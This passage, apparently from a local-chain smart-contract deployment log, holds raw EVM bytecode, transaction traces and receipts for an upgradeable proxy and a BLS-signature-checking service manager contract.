6001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":8,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x780fd82938c383529d6a0a365c0066f2c5e6857c7da4834f11c2f8477161bcaf","block_number":5},{"info":{"transaction_hash":"0x1a9b78c29008259831d8f8cf09f039c813e7339f4408f89cb99d7725fe5e2fc2","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","traces":[{"parent":null,"children":[1,3,5],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61018060405234801561001157600080fd5b506040516159d23803806159d2833981016040819052610030916103fb565b6001600160a01b0380851660805280841660a05280831660c052811660e052818484828461005c610327565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100dd919061045a565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610135573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610159919061045a565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d8919061045a565b6001600160a01b03908116610160528516905061022c57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b03831661027857604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b6044820152606401610223565b6001600160a01b0382166102cf57604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f72000000000000000000000000006044820152606401610223565b6001600160a01b03811661031657604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b6044820152606401610223565b61031e610327565b5050505061047e565b600054610100900460ff161561038f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b6064820152608401610223565b60005460ff90811610156103e1576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146103f857600080fd5b50565b6000806000806080858703121561041157600080fd5b845161041c816103e3565b602086015190945061042d816103e3565b604086015190935061043e816103e3565b606086015190925061044f816103e3565b939692955090935050565b60006020828403121561046c57600080fd5b8151610477816103e3565b9392505050565b60805160a05160c05160e0516101005161012051610140516101605161544761058b600039600081816106fa015261190101526000818161041d0152611b1401526000818161045101528181611d010152611ef10152600081816104b801528181611133015281816115c70152818161176e01526119b5015260008181610e6801528181610fb90152818161105001528181612c7c01528181612df50152612e94015260008181610c8f01528181610d1e01528181610d9e0152818161228a0152818161235601528181612bb70152612d5001526000818161324b0152818161330701526133ea015260008181610482015281816122de015281816123b2015261243101526154476000f3fe6080604052600436106102345760003560e01c806395c6d6041161012e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51461027f578063171f1d5b146102ae57806318daeeaf146102e557600080fd5b36610245576102433334610834565b005b600080fd5b34801561025657600080fd5b5061026a6102653660046143b0565b6108c9565b60405190151581526020015b60405180910390f35b34801561028b57600080fd5b5061026a61029a366004614451565b60cc54600160ff9092169190911b16151590565b3480156102ba57600080fd5b506102ce6102c936600461452f565b6109c0565b604080519215158352901515602083015201610276565b3480156102f157600080fd5b50610243610300366004614451565b610b4a565b34801561031157600080fd5b50610243610320366004614580565b610b92565b34801561033157600080fd5b50610345610340366004614599565b610c6a565b60405161027691906145b6565b34801561035e57600080fd5b5061024361036d366004614599565b61111d565b34801561037e57600080fd5b5061024361038d366004614605565b611131565b6102436103a0366004614599565b611268565b3480156103b157600080fd5b5060cb546103c5906001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103e957600080fd5b506103fd6103f83660046148fd565b611272565b604051610276929190614998565b34801561041757600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561044b57600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561047f57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006103c5565b3480156104b257600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e657600080fd5b506105106104f5366004614599565b6001600160a01b0316600090815260ca602052604090205490565b604051908152602001610276565b34801561052a57600080fd5b506102436121a6565b34801561053f57600080fd5b5061024361054e366004614599565b6121ba565b34801561055f57600080fd5b506033546001600160a01b03166103c5565b34801561057d57600080fd5b5061026a61058c366004614a29565b61225a565b34801561059d57600080fd5b506102436105ac366004614a74565b61227f565b3480156105bd57600080fd5b506102436105cc366004614599565b61234b565b3480156105dd57600080fd5b506102436105ec366004614b2b565b612412565b3480156105fd57600080fd5b5061024361060c366004614b7b565b612466565b34801561061d57600080fd5b5061065961062c366004614580565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff9094168452911515602084015290820152606001610276565b34801561068757600080fd5b50610243610696366004614580565b612825565b3480156106a757600080fd5b5060975461026a9060ff1681565b3480156106c157600080fd5b506102436106d0366004614ba2565b612832565b6102436106e3366004614bed565b6129f7565b3480156106f457600080fd5b506103c57f000000000000000000000000000000000000000000000000000000000000000081565b34801561072857600080fd5b50610345612bb1565b34801561073d57600080fd5b5061051060cc5481565b34801561075357600080fd5b50610243610762366004614599565b612f5d565b34801561077357600080fd5b50610510610782366004614599565b60ca6020526000908152604090205481565b3480156107a057600080fd5b506102436107af366004614599565b612fd3565b3480156107c057600080fd5b5061026a6107cf366004614c3f565b612ffd565b3480156107e057600080fd5b506065546103c5906001600160a01b031681565b34801561080057600080fd5b5061024361080f366004614cbf565b613072565b34801561082057600080fd5b5061024361082f366004614451565b613421565b8060000361085d57604051632097692160e11b8152600481018290526024015b60405180910390fd5b6001600160a01b038216600090815260ca602052604081208054839290610885908490614d4a565b90915550506001600160a01b038216600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25050565b6000806001600160a01b0383166108e157508461090d565b85836040516020016108f4929190614d5d565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff1690036109325760009150506109b4565b600081815260c96020526040902054640100000000900460ff1661095a5760009150506109b4565b60408051602081018c90529081018a9052606081018990526001600160601b03198816608082015260009060940160408051601f19818403018152919052805160208201209091506109ae87898389613468565b93505050505b98975050505050505050565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610a0857610a08614d78565b60200201518951600160200201518a60200151600060028110610a2d57610a2d614d78565b60200201518b60200151600160028110610a4957610a49614d78565b602090810291909101518c518d830151604051610aa69a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610ac99190614d8e565b9050610b3c610ae2610adb8884613480565b8690613511565b610aea6135a6565b610b32610b2385610b1d604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613480565b610b2c8c613666565b90613511565b886201d4c06136f5565b909890975095505050505050565b610b5261390f565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b33600090815260ca6020526040902054811115610be35733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018390526044820152606401610854565b33600090815260ca602052604081208054839290610c02908490614db0565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a2604051339082156108fc029083906000818181858888f19350505050158015610c66573d6000803e3d6000fd5b5050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000000000000000000000000000000000000000000016906313542a4e90602401602060405180830381865afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190614dc3565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063871ef04990602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190614ddc565b90506001600160c01b0381161580610e2357507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190614e05565b60ff16155b15610e435760408051600080825260208201909252905b50949350505050565b6000610e57826001600160c01b0316613969565b90506000805b8251811015610f23577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633ca5a5f5848381518110610ea757610ea7614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190614dc3565b610f199083614d4a565b9150600101610e5d565b506000816001600160401b03811115610f3e57610f3e614288565b604051908082528060200260200182016040528015610f67578160200160208202803683370190505b5090506000805b8451811015611110576000858281518110610f8b57610f8b614d78565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633ca5a5f590602401602060405180830381865afa158015611000573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110249190614dc3565b905060005b81811015611105576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa15801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c29190614e37565b600001518686815181106110d8576110d8614d78565b6001600160a01b0390921660209283029190910190910152846110fa81614e7a565b955050600101611029565b505050600101610f6e565b5090979650505050505050565b61112561390f565b61112e81613a2b565b50565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190614e93565b6001600160a01b0316336001600160a01b03161461125f5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a401610854565b61112e81613a94565b61112e8134610834565b604080518082019091526060808252602082015260008260400151516040518060400160405280600181526020016000815250511480156112ce57508260a0015151604051806040016040528060018152602001600081525051145b80156112f557508260c0015151604051806040016040528060018152602001600081525051145b801561131c57508260e0015151604051806040016040528060018152602001600081525051145b6113865760405162461bcd60e51b815260206004820152604160248201526000805160206153f283398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a401610854565b825151602084015151146113fe5760405162461bcd60e51b8152602060048201526044602482018190526000805160206153f2833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a401610854565b4363ffffffff168463ffffffff161061146d5760405162461bcd60e51b815260206004820152603c60248201526000805160206153f283398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b000000006064820152608401610854565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b0381111561152e5761152e614288565b604051908082528060200260200182016040528015611557578160200160208202803683370190505b5081526020860151516001600160401b0381111561157757611577614288565b6040519080825280602002602001820160405280156115a0578160200160208202803683370190505b508160200181905250600061164c60405180604001604052806001815260200160008152507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611623573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116479190614e05565b613adb565b905060005b8760200151518110156118dd576116968860200151828151811061167757611677614d78565b6020026020010151805160009081526020918201519091526040902090565b836020015182815181106116ac576116ac614d78565b6020908102919091010152801561176c5760208301516116cd600183614db0565b815181106116dd576116dd614d78565b602002602001015160001c836020015182815181106116fe576116fe614d78565b602002602001015160001c1161176c576040805162461bcd60e51b81526020600482015260248101919091526000805160206153f283398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f727465646064820152608401610854565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166304ec6351846020015183815181106117b1576117b1614d78565b60200260200101518b8b6000015185815181106117d0576117d0614d78565b60200260200101516040518463ffffffff1660e01b815260040161180d9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e9190614ddc565b6001600160c01b03168360000151828151811061186d5761186d614d78565b6020026020010181815250506118d3610adb6118a7848660000151858151811061189957611899614d78565b602002602001015116613b6e565b8a6020015184815181106118bd576118bd614d78565b6020026020010151613b9990919063ffffffff16565b9450600101611651565b50506118e883613c7c565b60975490935060ff166000816118ff576000611981565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa15801561195d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119819190614dc3565b905060005b604051806040016040528060018152602001600081525051811015612077578215611b12578963ffffffff16827f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611a0a57611a0a614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a729190614dc3565b611a7c9190614d4a565b11611b125760405162461bcd60e51b815260206004820152606660248201526000805160206153f283398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c401610854565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611b6957611b69614d78565b602001015160f81c60f81b60f81c8c8c60a001518581518110611b8e57611b8e614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0e9190614eb0565b6001600160401b031916611c318a60400151838151811061167757611677614d78565b67ffffffffffffffff191614611ccd5760405162461bcd60e51b815260206004820152606160248201526000805160206153f283398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c401610854565b611cfd89604001518281518110611ce657611ce6614d78565b60200260200101518761351190919063ffffffff16565b95507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c8294c5660405180604001604052806001815260200160008152508381518110611d5657611d56614d78565b602001015160f81c60f81b60f81c8c8c60c001518581518110611d7b57611d7b614d78565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015611dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dfb9190614edb565b85602001518281518110611e1157611e11614d78565b6001600160601b03909216602092830291909101820152850151805182908110611e3d57611e3d614d78565b602002602001015185600001518281518110611e5b57611e5b614d78565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a602001515181101561206d57611eea86600001518281518110611ea557611ea5614d78565b602002602001015160405180604001604052806001815260200160008152508581518110611ed557611ed5614d78565b016020015160f81c60ff161c60019081161490565b15612065577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f2be94ae60405180604001604052806001815260200160008152508581518110611f4657611f46614d78565b602001015160f81c60f81b60f81c8e89602001518581518110611f6b57611f6b614d78565b60200260200101518f60e001518881518110611f8957611f89614d78565b60200260200101518781518110611fa257611fa2614d78565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612006573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061202a9190614edb565b875180518590811061203e5761203e614d78565b602002602001018181516120529190614ef8565b6001600160601b03169052506001909101905b600101611e7f565b5050600101611986565b5050506000806120918a868a606001518b608001516109c0565b91509150816121025760405162461bcd60e51b815260206004820152604360248201526000805160206153f283398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a401610854565b806121635760405162461bcd60e51b815260206004820152603960248201526000805160206153f283398151915260448201527f7265733a207369676e617475726520697320696e76616c6964000000000000006064820152608401610854565b5050600087826020015160405160200161217e929190614f17565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b6121ae61390f565b6121b86000613d17565b565b600054600290610100900460ff161580156121dc575060005460ff8083169116105b6121f85760405162461bcd60e51b815260040161085490614f5f565b6000805461ffff191660ff83161761010017905561221582612fd3565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b600081848460405161226d929190614fad565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146122c75760405162461bcd60e51b815260040161085490614fbd565b604051639926ee7d60e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690639926ee7d90612315908590859060040161507b565b600060405180830381600087803b15801561232f57600080fd5b505af1158015612343573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146123935760405162461bcd60e51b815260040161085490614fbd565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da906024015b600060405180830381600087803b1580156123f757600080fd5b505af115801561240b573d6000803e3d6000fd5b5050505050565b61241a61390f565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a98fb355906123dd9084906004016150c6565b60cb546001600160a01b031633146124a65760cb54604051632cbe419560e01b81523360048201526001600160a01b039091166024820152604401610854565b60005a9050600084846040516020016124c0929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612515576040516311cb69a760e11b815260048101839052602401610854565b8054640100000000900460ff161561254357604051634e78d7f960e11b815260048101839052602401610854565b805464ff00000000191664010000000017815560018101546001600160a01b038616600090815260ca602052604090205410156125c65760018101546001600160a01b038616600081815260ca602052604090819020549051632e2a182f60e11b8152600481019290925260248201929092526044810191909152606401610854565b80546000906125dd90849063ffffffff1687611272565b509050604360ff1681602001516000815181106125fc576125fc614d78565b602002602001015161260e91906150d9565b6001600160601b03166064826000015160008151811061263057612630614d78565b60200260200101516001600160601b031661264b9190615102565b10156126de576064816000015160008151811061266a5761266a614d78565b60200260200101516001600160601b03166126859190615102565b604360ff1682602001516000815181106126a1576126a1614d78565b60200260200101516126b391906150d9565b60405163530f5c4560e11b815260048101929092526001600160601b03166024820152604401610854565b6040516001600160a01b038716815287907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a61272a9087614db0565b6127379062011170614d4a565b6127419190615102565b9050826001015481111561277857600183015460405163437e283f60e11b8152600481019190915260248101829052604401610854565b6001600160a01b038716600090815260ca6020526040812080548392906127a0908490614db0565b90915550506001600160a01b038716600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561281a573d6000803e3d6000fd5b505050505050505050565b61282d61390f565b60cc55565b600054610100900460ff16158080156128525750600054600160ff909116105b8061286c5750303b15801561286c575060005460ff166001145b6128885760405162461bcd60e51b815260040161085490614f5f565b6000805460ff1916600117905580156128ab576000805461ff0019166101001790555b6001600160a01b0384166128f157604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b6044820152606401610854565b6001600160a01b03831661293b57604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b6044820152606401610854565b6001600160a01b03821661298657604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b6044820152606401610854565b6129908484613d69565b60cb80546001600160a01b0319166001600160a01b03841617905580156129f1576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60008433604051602001612a0c929190614d5d565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612a5b57604051630c40bc4360e21b815260048101829052602401610854565b3415612ab85733600090815260ca602052604081208054349290612a80908490614d4a565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25b33600090815260ca6020526040902054821115612b095733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018490526044820152606401610854565b604080516060810182526000602080830182815263ffffffff43818116865285870189815288865260c9909452938690